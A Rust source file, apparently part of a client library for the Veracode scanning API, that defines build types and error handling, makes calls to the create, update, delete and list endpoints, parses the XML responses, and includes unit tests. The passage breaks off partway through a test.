1use chrono::{DateTime, NaiveDate, Utc};
8use quick_xml::Reader;
9use quick_xml::events::Event;
10use serde::{Deserialize, Serialize};
11use std::collections::HashMap;
12
13use crate::{VeracodeClient, VeracodeError};
14
15pub const LIFECYCLE_STAGES: &[&str] = &[
17 "In Development (pre-Alpha)",
18 "Internal or Alpha Testing",
19 "External or Beta Testing",
20 "Deployed",
21 "Maintenance",
22 "Cannot Disclose",
23 "Not Specified",
24];
25
26#[must_use]
28pub fn is_valid_lifecycle_stage(stage: &str) -> bool {
29 LIFECYCLE_STAGES.contains(&stage)
30}
31
32#[must_use]
34pub fn default_lifecycle_stage() -> &'static str {
35 "In Development (pre-Alpha)"
36}
37
38#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
41pub enum BuildStatus {
42 Incomplete,
43 NotSubmitted,
44 SubmittedToEngine,
45 ScanInProcess,
46 PreScanSubmitted,
47 PreScanSuccess,
48 PreScanFailed,
49 PreScanCancelled,
50 PrescanFailed,
51 PrescanCancelled,
52 ScanCancelled,
53 ResultsReady,
54 Failed,
55 Cancelled,
56 Unknown(String), }
58
59impl BuildStatus {
60 #[must_use]
62 pub fn from_string(status: &str) -> Self {
63 match status {
64 "Incomplete" => BuildStatus::Incomplete,
65 "Not Submitted" => BuildStatus::NotSubmitted,
66 "Submitted to Engine" => BuildStatus::SubmittedToEngine,
67 "Scan in Process" => BuildStatus::ScanInProcess,
68 "Pre-Scan Submitted" => BuildStatus::PreScanSubmitted,
69 "Pre-Scan Success" => BuildStatus::PreScanSuccess,
70 "Pre-Scan Failed" => BuildStatus::PreScanFailed,
71 "Pre-Scan Cancelled" => BuildStatus::PreScanCancelled,
72 "Prescan Failed" => BuildStatus::PrescanFailed,
73 "Prescan Cancelled" => BuildStatus::PrescanCancelled,
74 "Scan Cancelled" => BuildStatus::ScanCancelled,
75 "Results Ready" => BuildStatus::ResultsReady,
76 "Failed" => BuildStatus::Failed,
77 "Cancelled" => BuildStatus::Cancelled,
78 _ => BuildStatus::Unknown(status.to_string()),
79 }
80 }
81
82 #[must_use]
84 pub fn to_str(&self) -> &str {
85 match self {
86 BuildStatus::Incomplete => "Incomplete",
87 BuildStatus::NotSubmitted => "Not Submitted",
88 BuildStatus::SubmittedToEngine => "Submitted to Engine",
89 BuildStatus::ScanInProcess => "Scan in Process",
90 BuildStatus::PreScanSubmitted => "Pre-Scan Submitted",
91 BuildStatus::PreScanSuccess => "Pre-Scan Success",
92 BuildStatus::PreScanFailed => "Pre-Scan Failed",
93 BuildStatus::PreScanCancelled => "Pre-Scan Cancelled",
94 BuildStatus::PrescanFailed => "Prescan Failed",
95 BuildStatus::PrescanCancelled => "Prescan Cancelled",
96 BuildStatus::ScanCancelled => "Scan Cancelled",
97 BuildStatus::ResultsReady => "Results Ready",
98 BuildStatus::Failed => "Failed",
99 BuildStatus::Cancelled => "Cancelled",
100 BuildStatus::Unknown(s) => s,
101 }
102 }
103
104 #[must_use]
111 pub fn is_safe_to_delete(&self, deletion_policy: u8) -> bool {
112 match deletion_policy {
113 1 => {
114 matches!(
116 self,
117 BuildStatus::Incomplete
118 | BuildStatus::NotSubmitted
119 | BuildStatus::PreScanFailed
120 | BuildStatus::PreScanCancelled
121 | BuildStatus::PrescanFailed
122 | BuildStatus::PrescanCancelled
123 | BuildStatus::ScanCancelled
124 | BuildStatus::Failed
125 | BuildStatus::Cancelled
126 )
127 }
128 2 => {
129 !matches!(self, BuildStatus::ResultsReady)
131 }
132 _ => false, }
134 }
135}
136
137impl std::fmt::Display for BuildStatus {
138 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
139 write!(f, "{}", self.to_str())
140 }
141}
142
143#[derive(Debug, Clone, Serialize, Deserialize)]
145pub struct Build {
146 pub build_id: String,
148 pub app_id: String,
150 pub version: Option<String>,
152 pub app_name: Option<String>,
154 pub sandbox_id: Option<String>,
156 pub sandbox_name: Option<String>,
158 pub lifecycle_stage: Option<String>,
160 pub launch_date: Option<NaiveDate>,
162 pub submitter: Option<String>,
164 pub platform: Option<String>,
166 pub analysis_unit: Option<String>,
168 pub policy_name: Option<String>,
170 pub policy_version: Option<String>,
172 pub policy_compliance_status: Option<String>,
174 pub rules_status: Option<String>,
176 pub grace_period_expired: Option<bool>,
178 pub scan_overdue: Option<bool>,
180 pub policy_updated_date: Option<DateTime<Utc>>,
182 pub legacy_scan_engine: Option<bool>,
184 pub attributes: HashMap<String, String>,
186}
187
188#[derive(Debug, Clone, Serialize, Deserialize)]
190pub struct BuildList {
191 pub account_id: Option<String>,
193 pub app_id: String,
195 pub app_name: Option<String>,
197 pub builds: Vec<Build>,
199}
200
201#[derive(Debug, Clone)]
203pub struct CreateBuildRequest {
204 pub app_id: String,
206 pub version: Option<String>,
208 pub lifecycle_stage: Option<String>,
210 pub launch_date: Option<String>,
212 pub sandbox_id: Option<String>,
214}
215
216#[derive(Debug, Clone)]
218pub struct UpdateBuildRequest {
219 pub app_id: String,
221 pub build_id: Option<String>,
223 pub version: Option<String>,
225 pub lifecycle_stage: Option<String>,
227 pub launch_date: Option<String>,
229 pub sandbox_id: Option<String>,
231}
232
233#[derive(Debug, Clone)]
235pub struct DeleteBuildRequest {
236 pub app_id: String,
238 pub sandbox_id: Option<String>,
240}
241
242#[derive(Debug, Clone)]
244pub struct GetBuildInfoRequest {
245 pub app_id: String,
247 pub build_id: Option<String>,
249 pub sandbox_id: Option<String>,
251}
252
253#[derive(Debug, Clone)]
255pub struct GetBuildListRequest {
256 pub app_id: String,
258 pub sandbox_id: Option<String>,
260}
261
262#[derive(Debug, Clone, Serialize, Deserialize)]
264pub struct DeleteBuildResult {
265 pub result: String,
267}
268
269#[derive(Debug)]
271#[must_use = "Need to handle all error enum types."]
272pub enum BuildError {
273 Api(VeracodeError),
275 BuildNotFound,
277 ApplicationNotFound,
279 SandboxNotFound,
281 InvalidParameter(String),
283 CreationFailed(String),
285 UpdateFailed(String),
287 DeletionFailed(String),
289 XmlParsingError(String),
291 Unauthorized,
293 PermissionDenied,
295 BuildInProgress,
297}
298
299impl std::fmt::Display for BuildError {
300 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
301 match self {
302 BuildError::Api(err) => write!(f, "API error: {err}"),
303 BuildError::BuildNotFound => write!(f, "Build not found"),
304 BuildError::ApplicationNotFound => write!(f, "Application not found"),
305 BuildError::SandboxNotFound => write!(f, "Sandbox not found"),
306 BuildError::InvalidParameter(msg) => write!(f, "Invalid parameter: {msg}"),
307 BuildError::CreationFailed(msg) => write!(f, "Build creation failed: {msg}"),
308 BuildError::UpdateFailed(msg) => write!(f, "Build update failed: {msg}"),
309 BuildError::DeletionFailed(msg) => write!(f, "Build deletion failed: {msg}"),
310 BuildError::XmlParsingError(msg) => write!(f, "XML parsing error: {msg}"),
311 BuildError::Unauthorized => write!(f, "Unauthorized access"),
312 BuildError::PermissionDenied => write!(f, "Permission denied"),
313 BuildError::BuildInProgress => write!(f, "Build in progress, cannot modify"),
314 }
315 }
316}
317
318impl std::error::Error for BuildError {}
319
320impl From<VeracodeError> for BuildError {
321 fn from(err: VeracodeError) -> Self {
322 BuildError::Api(err)
323 }
324}
325
326impl From<std::io::Error> for BuildError {
327 fn from(err: std::io::Error) -> Self {
328 BuildError::Api(VeracodeError::InvalidResponse(err.to_string()))
329 }
330}
331
332impl From<reqwest::Error> for BuildError {
333 fn from(err: reqwest::Error) -> Self {
334 BuildError::Api(VeracodeError::Http(err))
335 }
336}
337
338pub struct BuildApi {
340 client: VeracodeClient,
341}
342
343impl BuildApi {
344 #[must_use]
346 pub fn new(client: VeracodeClient) -> Self {
347 Self { client }
348 }
349
350 pub async fn create_build(&self, request: &CreateBuildRequest) -> Result<Build, BuildError> {
365 let endpoint = "/api/5.0/createbuild.do";
366
367 let mut query_params = Vec::new();
369 query_params.push(("app_id", request.app_id.as_str()));
370
371 if let Some(version) = &request.version {
372 query_params.push(("version", version.as_str()));
373 }
374
375 if let Some(lifecycle_stage) = &request.lifecycle_stage {
376 query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
377 }
378
379 if let Some(launch_date) = &request.launch_date {
380 query_params.push(("launch_date", launch_date.as_str()));
381 }
382
383 if let Some(sandbox_id) = &request.sandbox_id {
384 query_params.push(("sandbox_id", sandbox_id.as_str()));
385 }
386
387 let response = self
388 .client
389 .post_with_query_params(endpoint, &query_params)
390 .await?;
391
392 let status = response.status().as_u16();
393 match status {
394 200 => {
395 let response_text = response.text().await?;
396 self.parse_build_info(&response_text)
397 }
398 400 => {
399 let error_text = response.text().await.unwrap_or_default();
400 Err(BuildError::InvalidParameter(error_text))
401 }
402 401 => Err(BuildError::Unauthorized),
403 403 => Err(BuildError::PermissionDenied),
404 404 => Err(BuildError::ApplicationNotFound),
405 _ => {
406 let error_text = response.text().await.unwrap_or_default();
407 Err(BuildError::CreationFailed(format!(
408 "HTTP {status}: {error_text}"
409 )))
410 }
411 }
412 }
413
414 pub async fn update_build(&self, request: &UpdateBuildRequest) -> Result<Build, BuildError> {
429 let endpoint = "/api/5.0/updatebuild.do";
430
431 let mut query_params = Vec::new();
433 query_params.push(("app_id", request.app_id.as_str()));
434
435 if let Some(build_id) = &request.build_id {
436 query_params.push(("build_id", build_id.as_str()));
437 }
438
439 if let Some(version) = &request.version {
440 query_params.push(("version", version.as_str()));
441 }
442
443 if let Some(lifecycle_stage) = &request.lifecycle_stage {
444 query_params.push(("lifecycle_stage", lifecycle_stage.as_str()));
445 }
446
447 if let Some(launch_date) = &request.launch_date {
448 query_params.push(("launch_date", launch_date.as_str()));
449 }
450
451 if let Some(sandbox_id) = &request.sandbox_id {
452 query_params.push(("sandbox_id", sandbox_id.as_str()));
453 }
454
455 let response = self
456 .client
457 .post_with_query_params(endpoint, &query_params)
458 .await?;
459
460 let status = response.status().as_u16();
461 match status {
462 200 => {
463 let response_text = response.text().await?;
464 self.parse_build_info(&response_text)
465 }
466 400 => {
467 let error_text = response.text().await.unwrap_or_default();
468 Err(BuildError::InvalidParameter(error_text))
469 }
470 401 => Err(BuildError::Unauthorized),
471 403 => Err(BuildError::PermissionDenied),
472 404 => {
473 if request.sandbox_id.is_some() {
474 Err(BuildError::SandboxNotFound)
475 } else {
476 Err(BuildError::BuildNotFound)
477 }
478 }
479 _ => {
480 let error_text = response.text().await.unwrap_or_default();
481 Err(BuildError::UpdateFailed(format!(
482 "HTTP {status}: {error_text}"
483 )))
484 }
485 }
486 }
487
488 pub async fn delete_build(
503 &self,
504 request: &DeleteBuildRequest,
505 ) -> Result<DeleteBuildResult, BuildError> {
506 let endpoint = "/api/5.0/deletebuild.do";
507
508 let mut query_params = Vec::new();
510 query_params.push(("app_id", request.app_id.as_str()));
511
512 if let Some(sandbox_id) = &request.sandbox_id {
513 query_params.push(("sandbox_id", sandbox_id.as_str()));
514 }
515
516 let response = self
517 .client
518 .post_with_query_params(endpoint, &query_params)
519 .await?;
520
521 let status = response.status().as_u16();
522 match status {
523 200 => {
524 let response_text = response.text().await?;
525 self.parse_delete_result(&response_text)
526 }
527 400 => {
528 let error_text = response.text().await.unwrap_or_default();
529 Err(BuildError::InvalidParameter(error_text))
530 }
531 401 => Err(BuildError::Unauthorized),
532 403 => Err(BuildError::PermissionDenied),
533 404 => {
534 if request.sandbox_id.is_some() {
535 Err(BuildError::SandboxNotFound)
536 } else {
537 Err(BuildError::BuildNotFound)
538 }
539 }
540 _ => {
541 let error_text = response.text().await.unwrap_or_default();
542 Err(BuildError::DeletionFailed(format!(
543 "HTTP {status}: {error_text}"
544 )))
545 }
546 }
547 }
548
549 pub async fn get_build_info(&self, request: &GetBuildInfoRequest) -> Result<Build, BuildError> {
564 let endpoint = "/api/5.0/getbuildinfo.do";
565
566 let mut query_params = Vec::new();
568 query_params.push(("app_id", request.app_id.as_str()));
569
570 if let Some(build_id) = &request.build_id {
571 query_params.push(("build_id", build_id.as_str()));
572 }
573
574 if let Some(sandbox_id) = &request.sandbox_id {
575 query_params.push(("sandbox_id", sandbox_id.as_str()));
576 }
577
578 let response = self
579 .client
580 .get_with_query_params(endpoint, &query_params)
581 .await?;
582
583 let status = response.status().as_u16();
584 match status {
585 200 => {
586 let response_text = response.text().await?;
587 self.parse_build_info(&response_text)
588 }
589 400 => {
590 let error_text = response.text().await.unwrap_or_default();
591 Err(BuildError::InvalidParameter(error_text))
592 }
593 401 => Err(BuildError::Unauthorized),
594 403 => Err(BuildError::PermissionDenied),
595 404 => {
596 if request.sandbox_id.is_some() {
597 Err(BuildError::SandboxNotFound)
598 } else {
599 Err(BuildError::BuildNotFound)
600 }
601 }
602 _ => {
603 let error_text = response.text().await.unwrap_or_default();
604 Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
605 "HTTP {status}: {error_text}"
606 ))))
607 }
608 }
609 }
610
611 pub async fn get_build_list(
626 &self,
627 request: &GetBuildListRequest,
628 ) -> Result<BuildList, BuildError> {
629 let endpoint = "/api/5.0/getbuildlist.do";
630
631 let mut query_params = Vec::new();
633 query_params.push(("app_id", request.app_id.as_str()));
634
635 if let Some(sandbox_id) = &request.sandbox_id {
636 query_params.push(("sandbox_id", sandbox_id.as_str()));
637 }
638
639 let response = self
640 .client
641 .get_with_query_params(endpoint, &query_params)
642 .await?;
643
644 let status = response.status().as_u16();
645 match status {
646 200 => {
647 let response_text = response.text().await?;
648 self.parse_build_list(&response_text)
649 }
650 400 => {
651 let error_text = response.text().await.unwrap_or_default();
652 Err(BuildError::InvalidParameter(error_text))
653 }
654 401 => Err(BuildError::Unauthorized),
655 403 => Err(BuildError::PermissionDenied),
656 404 => {
657 if request.sandbox_id.is_some() {
658 Err(BuildError::SandboxNotFound)
659 } else {
660 Err(BuildError::ApplicationNotFound)
661 }
662 }
663 _ => {
664 let error_text = response.text().await.unwrap_or_default();
665 Err(BuildError::Api(VeracodeError::InvalidResponse(format!(
666 "HTTP {status}: {error_text}"
667 ))))
668 }
669 }
670 }
671
672 fn parse_build_info(&self, xml: &str) -> Result<Build, BuildError> {
674 if xml.contains("<error>") {
676 let mut reader = Reader::from_str(xml);
677 reader.config_mut().trim_text(true);
678 let mut buf = Vec::new();
679
680 loop {
681 match reader.read_event_into(&mut buf) {
682 Ok(Event::Start(ref e)) if e.name().as_ref() == b"error" => {
683 if let Ok(Event::Text(text)) = reader.read_event_into(&mut buf) {
684 let error_msg = String::from_utf8_lossy(&text);
685 if error_msg.contains("Could not find a build") {
686 return Err(BuildError::BuildNotFound);
687 }
688 return Err(BuildError::Api(VeracodeError::InvalidResponse(
689 error_msg.to_string(),
690 )));
691 }
692 }
693 Ok(Event::Eof) => break,
694 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
695 _ => {}
696 }
697 buf.clear();
698 }
699 }
700
701 let mut reader = Reader::from_str(xml);
702 reader.config_mut().trim_text(true);
703
704 let mut buf = Vec::new();
705 let mut build = Build {
706 build_id: String::new(),
707 app_id: String::new(),
708 version: None,
709 app_name: None,
710 sandbox_id: None,
711 sandbox_name: None,
712 lifecycle_stage: None,
713 launch_date: None,
714 submitter: None,
715 platform: None,
716 analysis_unit: None,
717 policy_name: None,
718 policy_version: None,
719 policy_compliance_status: None,
720 rules_status: None,
721 grace_period_expired: None,
722 scan_overdue: None,
723 policy_updated_date: None,
724 legacy_scan_engine: None,
725 attributes: HashMap::new(),
726 };
727
728 let mut inside_build = false;
729
730 loop {
731 match reader.read_event_into(&mut buf) {
732 Ok(Event::Start(ref e)) => {
733 match e.name().as_ref() {
734 b"build" => {
735 inside_build = true;
736 for attr in e.attributes().flatten() {
737 let key = String::from_utf8_lossy(attr.key.as_ref());
738 let value = String::from_utf8_lossy(&attr.value);
739
740 match key.as_ref() {
741 "build_id" => build.build_id = value.into_owned(),
742 "app_id" => build.app_id = value.into_owned(),
743 "version" => build.version = Some(value.into_owned()),
744 "app_name" => build.app_name = Some(value.into_owned()),
745 "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
746 "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
747 "lifecycle_stage" => {
748 build.lifecycle_stage = Some(value.into_owned())
749 }
750 "submitter" => build.submitter = Some(value.into_owned()),
751 "platform" => build.platform = Some(value.into_owned()),
752 "analysis_unit" => {
753 build.analysis_unit = Some(value.into_owned())
754 }
755 "policy_name" => build.policy_name = Some(value.into_owned()),
756 "policy_version" => {
757 build.policy_version = Some(value.into_owned())
758 }
759 "policy_compliance_status" => {
760 build.policy_compliance_status = Some(value.into_owned())
761 }
762 "rules_status" => build.rules_status = Some(value.into_owned()),
763 "grace_period_expired" => {
764 build.grace_period_expired = value.parse::<bool>().ok();
765 }
766 "scan_overdue" => {
767 build.scan_overdue = value.parse::<bool>().ok();
768 }
769 "legacy_scan_engine" => {
770 build.legacy_scan_engine = value.parse::<bool>().ok();
771 }
772 "launch_date" => {
773 if let Ok(date) =
774 NaiveDate::parse_from_str(&value, "%m/%d/%Y")
775 {
776 build.launch_date = Some(date);
777 }
778 }
779 "policy_updated_date" => {
780 if let Ok(datetime) =
781 chrono::DateTime::parse_from_rfc3339(&value)
782 {
783 build.policy_updated_date =
784 Some(datetime.with_timezone(&Utc));
785 }
786 }
787 _ => {
788 build
789 .attributes
790 .insert(key.into_owned(), value.into_owned());
791 }
792 }
793 }
794 }
795 b"analysis_unit" if inside_build => {
796 for attr in e.attributes().flatten() {
798 let key = String::from_utf8_lossy(attr.key.as_ref());
799 let value = String::from_utf8_lossy(&attr.value);
800
801 match key.as_ref() {
803 "status" => {
804 build
806 .attributes
807 .insert("status".to_string(), value.into_owned());
808 }
809 _ => {
810 build
812 .attributes
813 .insert(format!("analysis_{key}"), value.into_owned());
814 }
815 }
816 }
817 }
818 _ => {}
819 }
820 }
821 Ok(Event::Empty(ref e)) => {
822 if e.name().as_ref() == b"analysis_unit" && inside_build {
824 for attr in e.attributes().flatten() {
825 let key = String::from_utf8_lossy(attr.key.as_ref());
826 let value = String::from_utf8_lossy(&attr.value);
827
828 match key.as_ref() {
829 "status" => {
830 build
831 .attributes
832 .insert("status".to_string(), value.into_owned());
833 }
834 _ => {
835 build
836 .attributes
837 .insert(format!("analysis_{key}"), value.into_owned());
838 }
839 }
840 }
841 }
842 }
843 Ok(Event::End(ref e)) => {
844 if e.name().as_ref() == b"build" {
845 inside_build = false;
846 }
847 }
848 Ok(Event::Eof) => break,
849 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
850 _ => {}
851 }
852 buf.clear();
853 }
854
855 if build.build_id.is_empty() {
856 return Err(BuildError::XmlParsingError(
857 "No build information found in response".to_string(),
858 ));
859 }
860
861 Ok(build)
862 }
863
864 fn parse_build_from_attributes<'a>(
866 &self,
867 attributes: impl Iterator<
868 Item = Result<
869 quick_xml::events::attributes::Attribute<'a>,
870 quick_xml::events::attributes::AttrError,
871 >,
872 >,
873 app_id: &str,
874 app_name: &Option<String>,
875 ) -> Build {
876 let mut build = Build {
877 build_id: String::new(),
878 app_id: app_id.to_string(),
879 version: None,
880 app_name: app_name.clone(),
881 sandbox_id: None,
882 sandbox_name: None,
883 lifecycle_stage: None,
884 launch_date: None,
885 submitter: None,
886 platform: None,
887 analysis_unit: None,
888 policy_name: None,
889 policy_version: None,
890 policy_compliance_status: None,
891 rules_status: None,
892 grace_period_expired: None,
893 scan_overdue: None,
894 policy_updated_date: None,
895 legacy_scan_engine: None,
896 attributes: HashMap::new(),
897 };
898
899 for attr in attributes.flatten() {
900 let key = String::from_utf8_lossy(attr.key.as_ref());
901 let value = String::from_utf8_lossy(&attr.value);
902
903 match key.as_ref() {
904 "build_id" => build.build_id = value.into_owned(),
905 "version" => build.version = Some(value.into_owned()),
906 "sandbox_id" => build.sandbox_id = Some(value.into_owned()),
907 "sandbox_name" => build.sandbox_name = Some(value.into_owned()),
908 "lifecycle_stage" => build.lifecycle_stage = Some(value.into_owned()),
909 "submitter" => build.submitter = Some(value.into_owned()),
910 "platform" => build.platform = Some(value.into_owned()),
911 "analysis_unit" => build.analysis_unit = Some(value.into_owned()),
912 "policy_name" => build.policy_name = Some(value.into_owned()),
913 "policy_version" => build.policy_version = Some(value.into_owned()),
914 "policy_compliance_status" => {
915 build.policy_compliance_status = Some(value.into_owned())
916 }
917 "rules_status" => build.rules_status = Some(value.into_owned()),
918 "grace_period_expired" => {
919 build.grace_period_expired = value.parse::<bool>().ok();
920 }
921 "scan_overdue" => {
922 build.scan_overdue = value.parse::<bool>().ok();
923 }
924 "legacy_scan_engine" => {
925 build.legacy_scan_engine = value.parse::<bool>().ok();
926 }
927 "launch_date" => {
928 if let Ok(date) = NaiveDate::parse_from_str(&value, "%m/%d/%Y") {
929 build.launch_date = Some(date);
930 }
931 }
932 "policy_updated_date" => {
933 if let Ok(datetime) = chrono::DateTime::parse_from_rfc3339(&value) {
934 build.policy_updated_date = Some(datetime.with_timezone(&Utc));
935 }
936 }
937 _ => {
938 build
939 .attributes
940 .insert(key.into_owned(), value.into_owned());
941 }
942 }
943 }
944
945 build
946 }
947
948 fn parse_build_list(&self, xml: &str) -> Result<BuildList, BuildError> {
950 let mut reader = Reader::from_str(xml);
951 reader.config_mut().trim_text(true);
952
953 let mut buf = Vec::new();
954 let mut build_list = BuildList {
955 account_id: None,
956 app_id: String::new(),
957 app_name: None,
958 builds: Vec::new(),
959 };
960
961 loop {
962 match reader.read_event_into(&mut buf) {
963 Ok(Event::Start(ref e)) => match e.name().as_ref() {
964 b"buildlist" => {
965 for attr in e.attributes().flatten() {
966 let key = String::from_utf8_lossy(attr.key.as_ref());
967 let value = String::from_utf8_lossy(&attr.value);
968
969 match key.as_ref() {
970 "account_id" => build_list.account_id = Some(value.into_owned()),
971 "app_id" => build_list.app_id = value.into_owned(),
972 "app_name" => build_list.app_name = Some(value.into_owned()),
973 _ => {}
974 }
975 }
976 }
977 b"build" => {
978 let build = self.parse_build_from_attributes(
979 e.attributes(),
980 &build_list.app_id,
981 &build_list.app_name,
982 );
983
984 if !build.build_id.is_empty() {
985 build_list.builds.push(build);
986 }
987 }
988 _ => {}
989 },
990 Ok(Event::Empty(ref e)) => {
991 if e.name().as_ref() == b"build" {
993 let build = self.parse_build_from_attributes(
994 e.attributes(),
995 &build_list.app_id,
996 &build_list.app_name,
997 );
998
999 if !build.build_id.is_empty() {
1000 build_list.builds.push(build);
1001 }
1002 }
1003 }
1004 Ok(Event::Eof) => break,
1005 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1006 _ => {}
1007 }
1008 buf.clear();
1009 }
1010
1011 Ok(build_list)
1012 }
1013
1014 fn parse_delete_result(&self, xml: &str) -> Result<DeleteBuildResult, BuildError> {
1016 let mut reader = Reader::from_str(xml);
1017 reader.config_mut().trim_text(true);
1018
1019 let mut buf = Vec::new();
1020 let mut result = String::new();
1021
1022 loop {
1023 match reader.read_event_into(&mut buf) {
1024 Ok(Event::Start(ref e)) => {
1025 if e.name().as_ref() == b"result" {
1026 if let Ok(Event::Text(e)) = reader.read_event_into(&mut buf) {
1028 result = String::from_utf8_lossy(&e).into_owned();
1029 }
1030 }
1031 }
1032 Ok(Event::Eof) => break,
1033 Err(e) => return Err(BuildError::XmlParsingError(e.to_string())),
1034 _ => {}
1035 }
1036 buf.clear();
1037 }
1038
1039 if result.is_empty() {
1040 return Err(BuildError::XmlParsingError(
1041 "No result found in delete response".to_string(),
1042 ));
1043 }
1044
1045 Ok(DeleteBuildResult { result })
1046 }
1047}
1048
1049impl BuildApi {
1051 pub async fn create_simple_build(
1067 &self,
1068 app_id: &str,
1069 version: Option<&str>,
1070 ) -> Result<Build, BuildError> {
1071 let request = CreateBuildRequest {
1072 app_id: app_id.to_string(),
1073 version: version.map(str::to_string),
1074 lifecycle_stage: None,
1075 launch_date: None,
1076 sandbox_id: None,
1077 };
1078
1079 self.create_build(&request).await
1080 }
1081
1082 pub async fn create_sandbox_build(
1099 &self,
1100 app_id: &str,
1101 sandbox_id: &str,
1102 version: Option<&str>,
1103 ) -> Result<Build, BuildError> {
1104 let request = CreateBuildRequest {
1105 app_id: app_id.to_string(),
1106 version: version.map(str::to_string),
1107 lifecycle_stage: None,
1108 launch_date: None,
1109 sandbox_id: Some(sandbox_id.to_string()),
1110 };
1111
1112 self.create_build(&request).await
1113 }
1114
1115 pub async fn delete_app_build(&self, app_id: &str) -> Result<DeleteBuildResult, BuildError> {
1130 let request = DeleteBuildRequest {
1131 app_id: app_id.to_string(),
1132 sandbox_id: None,
1133 };
1134
1135 self.delete_build(&request).await
1136 }
1137
1138 pub async fn delete_sandbox_build(
1154 &self,
1155 app_id: &str,
1156 sandbox_id: &str,
1157 ) -> Result<DeleteBuildResult, BuildError> {
1158 let request = DeleteBuildRequest {
1159 app_id: app_id.to_string(),
1160 sandbox_id: Some(sandbox_id.to_string()),
1161 };
1162
1163 self.delete_build(&request).await
1164 }
1165
1166 pub async fn get_app_build_info(&self, app_id: &str) -> Result<Build, BuildError> {
1181 let request = GetBuildInfoRequest {
1182 app_id: app_id.to_string(),
1183 build_id: None,
1184 sandbox_id: None,
1185 };
1186
1187 self.get_build_info(&request).await
1188 }
1189
1190 pub async fn get_sandbox_build_info(
1206 &self,
1207 app_id: &str,
1208 sandbox_id: &str,
1209 ) -> Result<Build, BuildError> {
1210 let request = GetBuildInfoRequest {
1211 app_id: app_id.to_string(),
1212 build_id: None,
1213 sandbox_id: Some(sandbox_id.to_string()),
1214 };
1215
1216 self.get_build_info(&request).await
1217 }
1218
1219 pub async fn get_app_builds(&self, app_id: &str) -> Result<BuildList, BuildError> {
1234 let request = GetBuildListRequest {
1235 app_id: app_id.to_string(),
1236 sandbox_id: None,
1237 };
1238
1239 self.get_build_list(&request).await
1240 }
1241
1242 pub async fn get_sandbox_builds(
1258 &self,
1259 app_id: &str,
1260 sandbox_id: &str,
1261 ) -> Result<BuildList, BuildError> {
1262 let request = GetBuildListRequest {
1263 app_id: app_id.to_string(),
1264 sandbox_id: Some(sandbox_id.to_string()),
1265 };
1266
1267 self.get_build_list(&request).await
1268 }
1269}
1270
1271#[cfg(test)]
1272mod tests {
1273 use super::*;
1274 use crate::VeracodeConfig;
1275
1276 #[test]
1277 fn test_create_build_request() {
1278 let request = CreateBuildRequest {
1279 app_id: "123".to_string(),
1280 version: Some("1.0.0".to_string()),
1281 lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1282 launch_date: Some("12/31/2024".to_string()),
1283 sandbox_id: None,
1284 };
1285
1286 assert_eq!(request.app_id, "123");
1287 assert_eq!(request.version, Some("1.0.0".to_string()));
1288 assert_eq!(
1289 request.lifecycle_stage,
1290 Some("In Development (pre-Alpha)".to_string())
1291 );
1292 }
1293
1294 #[test]
1295 fn test_update_build_request() {
1296 let request = UpdateBuildRequest {
1297 app_id: "123".to_string(),
1298 build_id: Some("456".to_string()),
1299 version: Some("1.1.0".to_string()),
1300 lifecycle_stage: Some("Internal or Alpha Testing".to_string()),
1301 launch_date: None,
1302 sandbox_id: Some("789".to_string()),
1303 };
1304
1305 assert_eq!(request.app_id, "123");
1306 assert_eq!(request.build_id, Some("456".to_string()));
1307 assert_eq!(request.sandbox_id, Some("789".to_string()));
1308 }
1309
1310 #[test]
1311 fn test_lifecycle_stage_validation() {
1312 assert!(is_valid_lifecycle_stage("In Development (pre-Alpha)"));
1314 assert!(is_valid_lifecycle_stage("Internal or Alpha Testing"));
1315 assert!(is_valid_lifecycle_stage("External or Beta Testing"));
1316 assert!(is_valid_lifecycle_stage("Deployed"));
1317 assert!(is_valid_lifecycle_stage("Maintenance"));
1318 assert!(is_valid_lifecycle_stage("Cannot Disclose"));
1319 assert!(is_valid_lifecycle_stage("Not Specified"));
1320
1321 assert!(!is_valid_lifecycle_stage("In Development"));
1323 assert!(!is_valid_lifecycle_stage("Development"));
1324 assert!(!is_valid_lifecycle_stage("QA"));
1325 assert!(!is_valid_lifecycle_stage("Production"));
1326 assert!(!is_valid_lifecycle_stage(""));
1327
1328 assert_eq!(default_lifecycle_stage(), "In Development (pre-Alpha)");
1330 assert!(is_valid_lifecycle_stage(default_lifecycle_stage()));
1331 }
1332
1333 #[test]
1334 fn test_build_error_display() {
1335 let error = BuildError::BuildNotFound;
1336 assert_eq!(error.to_string(), "Build not found");
1337
1338 let error = BuildError::InvalidParameter("Invalid app_id".to_string());
1339 assert_eq!(error.to_string(), "Invalid parameter: Invalid app_id");
1340
1341 let error = BuildError::CreationFailed("Build creation failed".to_string());
1342 assert_eq!(
1343 error.to_string(),
1344 "Build creation failed: Build creation failed"
1345 );
1346 }
1347
1348 #[tokio::test]
1349 async fn test_build_api_method_signatures() {
1350 async fn _test_build_methods() -> Result<(), Box<dyn std::error::Error>> {
1351 let config = VeracodeConfig::new("test", "test");
1352 let client = VeracodeClient::new(config)?;
1353 let api = client.build_api()?;
1354
1355 let create_request = CreateBuildRequest {
1357 app_id: "123".to_string(),
1358 version: None,
1359 lifecycle_stage: None,
1360 launch_date: None,
1361 sandbox_id: None,
1362 };
1363
1364 let _: Result<Build, _> = api.create_build(&create_request).await;
1367 let _: Result<Build, _> = api.create_simple_build("123", None).await;
1368 let _: Result<Build, _> = api.create_sandbox_build("123", "456", None).await;
1369 let _: Result<DeleteBuildResult, _> = api.delete_app_build("123").await;
1370 let _: Result<Build, _> = api.get_app_build_info("123").await;
1371 let _: Result<BuildList, _> = api.get_app_builds("123").await;
1372
1373 Ok(())
1374 }
1375
1376 }
1379
1380 #[test]
1381 fn test_build_status_from_str() {
1382 assert_eq!(
1383 BuildStatus::from_string("Incomplete"),
1384 BuildStatus::Incomplete
1385 );
1386 assert_eq!(
1387 BuildStatus::from_string("Results Ready"),
1388 BuildStatus::ResultsReady
1389 );
1390 assert_eq!(
